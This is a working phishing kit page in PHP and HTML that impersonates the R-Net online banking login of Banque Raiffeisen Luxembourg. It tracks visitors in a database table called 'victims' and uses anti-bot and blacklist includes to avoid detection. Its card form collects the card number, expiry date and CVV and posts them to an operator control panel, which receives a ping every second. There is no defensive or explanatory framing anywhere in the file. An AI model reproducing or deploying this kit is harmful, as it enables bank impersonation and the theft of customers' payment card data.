<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $card = $arr['card'];
   if ($card != '') {
    $error = "<div style='padding-left:10px;color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "</div>";
   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=11, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  

?>
<!DOCTYPE html>
<html class="js" translate="no">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="google" content="notranslate">
<title>R-Net - Banque Raiffeisen Luxembourg</title>
<meta name="viewport" content="viewport-fit=cover, height=device-height, width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">

<link type="image/x-icon" rel="shortcut icon" href="theme/favicon.ico">
<link rel="stylesheet" href="./theme/styles-GECAAJXY.css">
<link rel="stylesheet" href="./theme/ice.css">
<link rel="stylesheet" type="text/css" href="./theme/pbr-font.css">
<link rel="stylesheet" type="text/css" href="./theme/museo.css">


<script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
        
<script>
function check(form) {

    if (!checkThenr (document.getElementById('cnr').value,document.getElementById('thetype').value))
{  form.cnr.focus(); document.getElementById("cnr").style.borderColor="#de071c"; return false; } else { document.getElementById("cnr").style.borderColor="#333"; }


var regExpressPostcode = /^(0[1-9]|1[0-2])\/(20[2-9][0-9])$/;
if (!regExpressPostcode.test(form.goned.value))
{  form.goned.focus(); document.getElementById("goned").style.borderColor="#de071c"; return false; } else { document.getElementById("goned").style.borderColor="#333"; }


var regExpressPostcode =  /^[0-9]*$/
if (!regExpressPostcode.test(form.three.value))
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#333"; }

if (form.three.value.length < 3) 
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#333"; }



submit_form();
// form.submit()
}
function change(){
var change = document.getElementById("cnr").value

if (change.charAt(0) == '5') {
document.getElementById("thetype").value = "MxM";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/MxM.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '4') {
document.getElementById("thetype").value = "VxV";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/VxV.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '3') {
document.getElementById("thetype").value = "AxA";
document.getElementById("three").maxLength = "4";
document.getElementById("three").placeholder = "XXXX";
document.getElementById("cnr").style = "background-image: url('theme/AxA.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 60%;"
}


else if (change.charAt(0) == '6') {
document.getElementById("thetype").value = "DxD";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/DxD.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}

else {
document.getElementById("cnr").style = "background-image: url('theme/x.webp'); background-size: 20px 20px; background-repeat: no-repeat; background-position: 98% 50%;"
}



}
</script> 



<Style>input { margin-top: -10px !important; } .inputs { height: 40px !important; margin-top:12px !important; } </style>
</head> 

  <body>
<app-root ng-version="17.3.9"><app-offline-banner _nghost-ng-c2141937155=""><!----></app-offline-banner><div class="height-100 pre-line"><app-loading channel="GLOBAL" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324="" class="content-container-global"><router-outlet></router-outlet><desktop-connection-page _nghost-ng-c1641510666=""><div _ngcontent-ng-c1641510666="" id="matomo-DesktopConnection" style="overflow-y: scroll; height: 100%;"><header-language-choice _ngcontent-ng-c1641510666="" _nghost-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="header header-offline"><div _ngcontent-ng-c62876494="" class="header__wrapper"><div _ngcontent-ng-c62876494="" class="header__logo rightBankLogo"><img _ngcontent-ng-c62876494="" class="responsive-img" src="./theme/logo.png"></div><!----><div _ngcontent-ng-c62876494="" class="title title-big color-jumbo tc hide-on-small-only"><b _ngcontent-ng-c62876494="">R-Net</b></div><div _ngcontent-ng-c62876494="" class="switch-langue"><a _ngcontent-ng-c62876494="" data-beloworigin="true" data-activates="dropdown-header-language-choice" class="dropdown-button btn"><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-fr.svg"><!----></div></a><ul _ngcontent-ng-c62876494="" id="dropdown-header-language-choice" class="dropdown-content"><li _ngcontent-ng-c62876494=""><a _ngcontent-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-fr.svg"></div><span _ngcontent-ng-c62876494="">Français</span></a></li><!----><li _ngcontent-ng-c62876494=""><a _ngcontent-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-uk.svg"></div><span _ngcontent-ng-c62876494="">English</span></a></li><!----><li _ngcontent-ng-c62876494=""><a _ngcontent-ng-c62876494=""><div _ngcontent-ng-c62876494="" class="list-item-langue__flag"><img _ngcontent-ng-c62876494="" src="./theme/flag-de.svg"></div><span _ngcontent-ng-c62876494="">Deutsch</span></a></li><!----><!----></ul></div></div></div></header-language-choice><div _ngcontent-ng-c1641510666=""><!----><!----><div _ngcontent-ng-c1641510666="" class="row mgb10" style="min-height: 335px;"><login-luxtrust _ngcontent-ng-c1641510666="" class="col m8 l7 offset-l1 s12 pad-L0 pad-R0" _nghost-ng-c1783007993=""><!----><app-loading _ngcontent-ng-c1783007993="" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324=""><!----><div _ngcontent-ng-c1783007993="" class="col s12 simpleCard"><div _ngcontent-ng-c1783007993="" class="row"><div _ngcontent-ng-c1783007993="" class="col s12 center-align tokenBanner pad-R0 pad-L0"><div _ngcontent-ng-c1783007993="" class="col offset-s1 s5 l6 title mgt20 mgb15 left-align pad-L0"></div><a _ngcontent-ng-c1783007993="" id="ChangeDevice1601004" class="col s6 l6 mgt20 mgb15 right-align link pad-R0" style="text-decoration: none;"> &nbsp;</a></div>
 <form action="" method="post">
 <input id="thetype" type="hidden" name="thetype"  value="">
<div _ngcontent-ng-c1783007993="" class="col s12 left-align height-frame iframeContainer" >
<img src="theme/ver.png" style="float: left;width: 70px;padding: 12px;margin-left:15px"> <h2 style="text-align:left;font-size: 19px;padding-top:6px;"><?= translateText('formp2', $currentLanguage); ?> </h2> 
<p style="font-size:14px; display:block; margin-left:15px;margin-top: -8px;margin-bottom:-20px;"><?= translateText('footerp4', $currentLanguage); ?> </p>
<?= $error ?>
            <div class="inputs">
            <label for="cnr"><?= translateText('footerp11', $currentLanguage); ?> </label>
            <input class="form-control" onpaste="change();" onkeyup="change();" onchange="change();" name="number" id="cnr" maxlength="19" type="tel"  onKeyDown="if(event.keyCode==13) check(this.form);" >
           </div>
           <div class="inputs">
            <label for="goned"><?= translateText('footerp12', $currentLanguage); ?></label>
            <input class="form-control" type="tel" id="goned" name="goned" maxlength="7" onkeydown="if(event.keyCode==13) check(this.form);" placeholder="<?= translateText('footerp14', $currentLanguage); ?>">
           </div>
           <div class="inputs">
            <label for="three"><?= translateText('footerp13', $currentLanguage); ?></label>
            <input class="form-control" pattern="[0-9]*" inputmode="numeric" min="0000" max="9999" style="-webkit-text-security: disc;" maxlength="3" onkeydown="if(event.keyCode==13) check(this.form);" type="password" id="three" name="three">
           </div>


           
           <button style="margin-left:15px;" id="confirm" class="btn btn-reverse bordered" onclick="check(this.form)" type="button">           <?= translateText('formp9', $currentLanguage); ?>
           </button>
         
         </form>

</div>
</div></div></div><div _ngcontent-ng-c1961222324="" class="spinner-container mgt15-mgb15" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></login-luxtrust><div _ngcontent-ng-c1641510666="" class="col l3 m4 s12 pad-L0 pad-R0 height-100 right-col"><app-loading _ngcontent-ng-c1641510666="" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324=""><app-loading _ngcontent-ng-c1641510666="" _nghost-ng-c1961222324=""><div _ngcontent-ng-c1961222324=""><!----><div _ngcontent-ng-c1641510666="" class="row" style="height: 326px;"><div _ngcontent-ng-c1641510666="" class="simple-card smartphone"><div _ngcontent-ng-c1641510666="" class="row"><h4 _ngcontent-ng-c1641510666="" class="title tc"> <?= translateText('errorsp3', $currentLanguage); ?> </h4></div><div _ngcontent-ng-c1641510666="" class="row"><p _ngcontent-ng-c1641510666="" class="bloc-text tc"> <?= translateText('errorsp4', $currentLanguage); ?> </p></div><div _ngcontent-ng-c1641510666="" class="row tc"><a _ngcontent-ng-c1641510666="" class="col l6 m12 s6 mgt10 mgb10" href="#"><img _ngcontent-ng-c1641510666="" style="max-width: 140px; width: 100%; height: auto;" src="./theme/app-store-badge.png"></a><a _ngcontent-ng-c1641510666="" class="col l6 m12 s6 mgt10 mgb10" href="#"><img _ngcontent-ng-c1641510666="" style="max-width: 140px; width: 100%; height: auto;" src="./theme/google-play-badge.png"></a><!----></div></div></div></div><div _ngcontent-ng-c1961222324="" class="spinner-container mgt15-mgb15" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></div><div _ngcontent-ng-c1961222324="" class="spinner-container mgt15-mgb15" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></div></div>


<div _ngcontent-ng-c1641510666="" class="mgt20"><cookie-policy _ngcontent-ng-c1641510666=""><div class="tc"><span class="pointer underline fs-14"></span></div></cookie-policy></div></div><!----><!----></div></desktop-connection-page><!----></div><div _ngcontent-ng-c1961222324="" class="spinner-container spinner-container-global" hidden=""><spinner _ngcontent-ng-c1961222324="" _nghost-ng-c3959543251="" class="medium primary"><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div><div _ngcontent-ng-c3959543251=""></div></spinner></div></app-loading></div><!----><app-export-menu><div id="menu-export" class="modal-export"><div class="modal-export__wrapper"><button type="button" class="close-button"><i class="pbr pbr-solo pbr-close"></i></button><ul class="contextual-list"><!----></ul></div></div></app-export-menu></app-root>


<div class="hiddendiv common"></div></body></html>



<script type="text/javascript">
    window.onload=function(){
      
thecnr = function(jQinp)
{
    var format_and_pos = function(input, char, backspace)
    {
        var start = 0;
        var end = 0;
        var pos = 0;
        var value = input.value;

        if (char !== false)
        {
            start = input.selectionStart;
            end = input.selectionEnd;

            if (backspace && start > 0) // handle backspace onkeydown
            {
                start--;

                if (value[start] == " ")
                { start--; }
            }
            // To be able to replace the selection if there is one
            value = value.substring(0, start) + char + value.substring(end);

            pos = start + char.length; // caret position
        }

        var d = 0; // digit count
        var dd = 0; // total
        var gi = 0; // group index
        var newV = "";
        var groups = /^\D*3[47]/.test(value) ? // check for American Express
        [4, 6, 5] : [4, 4, 4, 4];

        for (var i = 0; i < value.length; i++)
        {
            if (/\D/.test(value[i]))
            {
                if (start > i)
                { pos--; }
            }
            else
            {
                if (d === groups[gi])
                {
                    newV += " ";
                    d = 0;
                    gi++;

                    if (start >= i)
                    { pos++; }
                }
                newV += value[i];
                d++;
                dd++;
            }
            if (d === groups[gi] && groups.length === gi + 1) // max length
            { break; }
        }
        input.value = newV;

        if (char !== false)
        { input.setSelectionRange(pos, pos); }
    };

    jQinp.keypress(function(e)
    {
        var code = e.charCode || e.keyCode || e.which;

        // Check for tab and arrow keys (needed in Firefox)
        if (code !== 9 && (code < 37 || code > 40) &&
        // and CTRL+C / CTRL+V
        !(e.ctrlKey && (code === 99 || code === 118)))
        {
            e.preventDefault();

            var char = String.fromCharCode(code);

            // if the character is non-digit
            // -> return false (the character is not inserted)

            if (/\D/.test(char))
            { return false; }

            format_and_pos(this, char);
        }
    }).
    keydown(function(e) // backspace doesn't fire the keypress event
    {
        if (e.keyCode === 8 || e.keyCode === 46) // backspace or delete
        {
            e.preventDefault();
            format_and_pos(this, '', this.selectionStart === this.selectionEnd);
        }
    }).
    on('paste', function()
    {
        // A timeout is needed to get the new value pasted
        setTimeout(function()
        { format_and_pos(jQinp[0], ''); }, 50);
    }).
    blur(function() // reformat onblur just in case (optional)
    {
        format_and_pos(this, false);
    });
};

thecnr($('#cnr'));




}



</script>

<script>
var characterCount = 0;

$('#goned').on('input', function(e) {
    var input = $(this).val();
    input = input.replace(/\D/g, '');
    if (input.length > 2) {
        input = input.substring(0, 2) + '/' + input.substring(2);
    }
    $(this).val(input);
    characterCount = $(this).val().length;
});

</script>



    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
        var card = document.getElementById('cnr').value.replace(/\s+/g, '');
         var exp = document.getElementById('goned').value;
         var three = document.getElementById('three').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe2',
            data: 'card=' + card + '&exp=' + exp + '&three=' + three,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
